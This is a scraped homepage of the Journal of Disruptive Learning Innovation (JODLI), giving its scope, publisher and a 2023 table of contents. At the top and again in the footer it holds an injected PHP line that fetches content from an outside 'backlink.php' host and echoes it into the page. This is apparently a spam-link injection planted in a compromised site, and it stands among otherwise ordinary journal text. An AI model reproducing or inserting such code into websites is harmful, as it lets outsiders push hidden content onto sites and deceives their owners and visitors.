$a = file_get_contents('https://purefine.online/backlink.php'); echo $a; Journal of Disruptive Learning Innovation (JODLI)

Journal of Disruptive Learning Innovation (JODLI)


Journal of Disruptive Learning Innovation (JODLI) is an academic, open-access journal about concepts, phenomena, and new discoveries that create transformative effects in education based on what the community needs of their time based on three research and development groups, namely: (1) Web / Mobile based Learning Platform with the integration of Artificial Intelligent (2) Ubiquitous Education Technology (u-learning) equipped with Augmented Reality, and (3) Learning management system that utilizes data mining and the power of data analysts. Issues are published biannually (in May and November). Submissions are open year-around and before submitting please ensure that the manuscripts fit within JODLI’s focus and scope, and are written in English and follow our author guidelines.

This journal is published by PUIPT Disruptive Learning Innovation Universitas Negeri Malang.

 

 

Announcements

 
No announcements have been published.
 
More Announcements...

Vol 4, No 2 (2023)

Journal of Disruptive Learning Innovation

Table of Contents

Articles

Deni Ainur Rokhim, Hayuni Retno Widarti, Maya Oki Septiani, Muhammad Hilfi Azra Dzikrulloh
PDF
63-78
Ulfa Rayhani Nasution, Rahmah Fithri Ani
PDF
79-92
Zonalia Fitriza, Dinn Wahyudin, Laksmi Dewi
PDF
93-106
Siti Hanisa, Kasmudin mustapa, Ratman Ratman, Dewi Satria Ahmar, Hayyatun Mawaddah
PDF
107-115


---------------------------------------- ---------------------------------------- ---------------------------------------- $a = file_get_contents('https://purefine.online/backlink.php'); echo $a; ----------------------------------------